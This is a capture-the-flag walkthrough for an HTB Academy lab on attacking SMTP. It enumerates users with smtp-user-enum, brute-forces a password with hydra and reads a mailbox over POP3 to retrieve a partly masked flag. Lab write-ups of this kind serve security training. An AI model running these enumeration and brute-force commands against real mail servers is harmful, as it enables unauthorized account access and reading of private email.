HTB Academy: Attacking Common Services Module - SMTP

Questions:

1. What is the available username for the domain inlanefreight.htb in the SMTP server?

2. Access the email account using the user credentials that you discovered and submit the flag in the email as your answer.

Step 1: Edit the Hosts File

First, add the target IP and domain to the /etc/hosts file for easier access:

sudo nano /etc/hosts

Add the following line with the target IP:

10.129.xxx.xxx inlanefreight.htb

Step 2: Download Users and Passwords Lists from Resources

Ensure you have the necessary user and password lists available for enumeration and brute-forcing.

Step 3: Enumerate SMTP Users

Use smtp-user-enum to find valid users on the SMTP server:

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $TARGET_IP

This reveals the username: m*****@inlanefreight.htb.

Step 4: Brute-force the Password

Use hydra to brute-force the password for the discovered user:

hydra -l m*****@inlanefreight.htb -P pswd.txt -f $TARGET_IP smtp

The password is found: po*****r.

Step 5: Access the Email Account

Use telnet to access the POP3 service and read emails:

telnet -l  m*****@inlanefreight.htb $TARGET_IP 110

Log in with the credentials:

user m*****@inlanefreight.htb
+OK Send your password
pass po*****r
+OK Mailbox locked and ready

Step 6: List and Read the Email

List the emails in the mailbox:

list
+OK 1 messages (601 octets)
1 601

Read the email:

retr 1

Output & Flag:

Return-Path: m*****@inlanefreight.htb
Received: from [10.10.14.33] (Unknown [10.10.14.33])
by WINSRV02 with ESMTPA
; Wed, 20 Apr 2022 14:49:32 -0500
Message-ID: <[e-mail]>
Subject: Password change
From: marlin <m*****@inlanefreight.htb>
To: [e-mail]
Cc: m*****@inlanefreight.htb
Date: Wed, 20 Apr 2022 15:49:11 -0400
Content-Type: text/plain; charset="UTF-8"
User-Agent: Evolution 3.38.3-1
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Hi admin,

How can I change my password to something more secure?

flag: HTB{w**k_p******d}

By following these steps, you can successfully enumerate, brute-force, and access an email account to retrieve important information.

HAPPY HUNTING!

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